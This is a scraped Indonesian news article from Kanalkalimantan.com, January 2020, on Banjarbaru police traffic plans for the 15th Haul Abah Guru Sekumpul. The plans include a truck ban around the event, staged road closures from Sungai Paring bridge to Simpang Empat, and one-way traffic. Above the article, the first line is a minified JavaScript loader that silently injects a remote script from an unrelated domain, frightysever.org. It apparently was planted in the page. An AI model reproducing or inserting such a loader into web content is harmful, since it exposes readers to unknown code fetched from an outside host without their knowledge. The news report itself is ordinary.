(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, H-1 sampai H+2, para pemilik truk dan pengusaha angkutan truk di Kalimantan Selatan diharapkan tidak beroperasi. Pasalnya pada hari yang ditentukan tersebut, dipastikan akan sangat padat jamaah saat arus kedatangan dan arus jemaah yang nantinya akan kembali pulang.
Kasatlantas Polres Banjarbaru AKP Gustaf Adolf mengungkapkan, pihaknya tengah menyampaikan permohonan kepada Dinas Perhubungan Provinsi, ihwal para pemilik truk yang tidak diperbolehkan beroperasi.
“Permohonan kepada para pemilik truk, yang mana ini sebenarnya ranah Dishub Provinsi. Tapi kita menyampaikan, mengingat tahun lalu di H-1 sampai dengan H+2 Haul, jamaah banyak yang baru keluar dari parkir. Akhirnya terjadi adanya penumpukan kendaraan jamaah dan truk-truk,” kata Kasatlantas Polres Banjarbaru.
Dia menjelaskan, permohonan tersebut guna kelancaran arus di sekian lokasi Haul Guru Sekumpul di Kota Banjarbaru dan Martapura. Oleh sebab itu para pemilik truk maupun usaha yang menggunakan truk, tidak beroperasi saat H-1 sampai H+2 Haul Abah Guru Sekumpul ke 15 mendatang.
“Untuk akses bandara yang baru ini, jelas sangat membantu untuk mengurai kemacetan di titik yang fatal. Dengan adanya jalur baru, minimal dapat mengurangi arus kemacetan saat Haul Guru Sekumpul ke-15 nanti,” tutupnya.
Selain itu, Satuan Lalu Lintas (Satlantas) Polres Banjarbaru telah merencanakan skema lalu lintas guna memudahkan para jemaah yang mengikuti Haul ke-15 Abah Guru Sekumpul tahun 2020. Bahkan, demi menunjang kelancaran arus lalu lintas, angkutan-angkutan besar juga tidak boleh beroperasi saat sebelum maupun sesudah perhelatan haul ke-15 Al Alimul Allamah Al Arif Billah Syekh Muhammad Zaini bin Abdul Ghani nantinya.
AKP Gustaf Adolf, mengatakan pihaknya telah berkoordinasi dengan Dinas Perhubungan maupun para relawan Haul untuk dilakukan penutupan jalan. Adapun penutupan dilakukan di Bundaran Simpang Empat, Banjarbaru. Hal ini guna memaksimalkan kantong parkir kendaraan jamaah.
“Penutupan kita lakukan secara bertahap. Awalnya dari jembatan Sungai Paring dan kalau sudah penuh kantong parkirnya, baru kita tutup sampai depan Q mall, dan berakhir di Simpang Empat. Kita lakukan bertahap ini, karena pengalaman tahun lalu, kantong parkir didalam malah belum tersentuh. Tidak maksimal sampai kedalam,” katanya kepada Kanalkalimantan.com, Kamis (23/1/2020) siang.
Jika penutupan sudah mencapai di titik Simpang Empat, maka jemaah akan diarahkan ke Kelurahan Sungai Ulin. Satlantas Polres Banjarbaru juga akan menerapkan jalan satu arah (one way) di perhelatan Haul Abah Guru Sekumpul ke-15 yang digelar dari Sabtu (29 Februari 2020) sampai Minggu (1 Maret 2020). (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP singgah ke… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
This website uses cookies.